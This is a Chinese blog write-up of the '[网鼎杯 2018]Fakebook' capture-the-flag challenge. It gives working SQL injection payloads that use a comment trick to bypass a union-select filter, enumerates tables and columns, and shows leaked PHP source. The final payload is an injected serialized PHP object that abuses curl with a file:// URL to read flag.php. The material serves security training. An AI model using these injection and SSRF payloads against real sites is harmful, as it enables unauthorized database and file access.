[网鼎杯 2018]Fakebook 1

1.发现

1.1打开题目地址,尝试登录,发现注入点,sqlmap跑一下无果。

知识点

1)sqlmap的使用

(35条消息) sqlmap注入使用教程_黑面狐-CSDN博客_sqlmap注入教程

 2.步骤

2.1尝试注入,发现有反序列化

no=1 order by 4#没事
no=1 order by 5#报错,有4列
no=-1 union/**/select 1,2,3,4#过滤了(union select)用/**/代替空格 

2.2报表名

no=-1 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database() 

 

 

 2.3爆属性列

no=-1 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema=database() and table_name='users'

 2.4爆字段

 

 2.5dirsearch扫描路径得到robot.txt,打开路径,下载user.php.bak文件。

 知识点

1)dirsearch使用

目录扫描工具 dirsearch 使用详解 - 时光如水の总是无言 - 博客园 (cnblogs.com)

2.查看内容,这部分可能存在ssrf。

<?php


class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }

    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }

}

 

2.7在这题,查看源码发现data字段存在漏洞。

2.8而我们爆出的字段data是序列化后的字符串

说明注册时会序列化我们的信息,回显到页面时再反序列化。
这个data本来回显的是我们自己的博客,但我们把它改为回显flag.php就可以构成ssrf
修改自己最后blog字段内容,改为file:///var/www/html/flag.php,并把对应的s改为对应长度29

data字段在第4位,所以放在第4位。

构造payload

no=-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:3:"123";s:3:"age";i:123;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'

 

2.9打开链接,得到flag。

 

 

 

3.借鉴

(35条消息) BUUCTF [网鼎杯 2018]Fakebook 1_wow小华的博客-CSDN博客

 buuctf-[网鼎杯 2018]Fakebook 1 - junlebao - 博客园 (cnblogs.com)

 

posted @ 2021-10-26 21:19  WeQi_Blog  阅读(199)  评论(0)    收藏  举报